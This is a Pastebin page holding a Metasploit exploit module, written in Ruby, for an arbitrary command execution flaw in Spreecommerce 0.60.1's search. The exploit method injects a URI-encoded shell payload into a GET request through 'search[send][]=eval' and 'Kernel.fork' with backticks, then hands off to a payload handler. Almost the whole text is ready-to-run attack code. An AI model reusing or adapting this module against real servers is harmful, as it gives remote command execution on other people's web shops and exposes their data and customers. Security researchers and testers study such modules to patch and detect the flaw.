Guest User

Untitled

a guest
Oct 10th, 2011
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.43 KB | None | 0 0
  1. require 'msf/core'
  2.  
  3.  
  4. class Metasploit3 < Msf::Exploit::Remote
  5. Rank = ExcellentRanking
  6.  
  7. include Msf::Exploit::Remote::HttpClient
  8.  
  9. def initialize(info = {})
  10. super(update_info(info,
  11. 'Name' => 'Spreecommerce 0.60.1 Arbitrary Command Execution',
  12. 'Description' => %q{
  13. This module exploits an arbitrary command execution vulnerability in the
  14. Spreecommerce search. Unvalidated input is called via the
  15. Ruby send method allowing command execution.
  16. },
  17. 'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
  18. 'License' => MSF_LICENSE,
  19. 'Version' => '$Revision: 13831 $',
  20. 'References' =>
  21. [
  22. [ 'OSVDB', '76011'],
  23. [ 'URL', 'http://spreecommerce.com/blog/2011/10/05/remote-command-product-group/' ],
  24. ],
  25. 'Privileged' => false,
  26. 'Payload' =>
  27. {
  28. 'BadChars' => "\x60",
  29. 'DisableNops' => true,
  30. 'Space' => 31337,
  31. 'Compat' =>
  32. {
  33. 'PayloadType' => 'cmd',
  34. }
  35. },
  36. 'Platform' => [ 'unix', 'linux' ],
  37. 'Arch' => ARCH_CMD,
  38. 'Targets' => [[ 'Automatic', { }]],
  39. 'DefaultTarget' => 0))
  40.  
  41. register_options(
  42. [
  43. OptString.new('URI', [true, "The path to the Spreecommerce main site", "/"]),
  44. ], self.class)
  45. end
  46.  
  47. def exploit
  48. command = Rex::Text.uri_encode(payload.raw, 'hex-all')
  49. res = send_request_raw({
  50. 'uri' => datastore['URI']+ "?search[send][]=eval&search[send][]=Kernel.fork%20do%60#{command}%60end",
  51. 'method' => 'GET',
  52. 'headers' =>
  53. {
  54. 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  55. 'Connection' => 'Close',
  56. }
  57. }, 0.4 ) #short timeout, we don't care about the response
  58.  
  59. if (res)
  60. print_status("The server returned: #{res.code} #{res.message}")
  61. end
  62.  
  63. handler
  64. end
  65.  
  66. end
  67.  
  68.  
  69. # [2011-10-07]
  70.  
Advertisement
Add Comment
Please, Sign In to add comment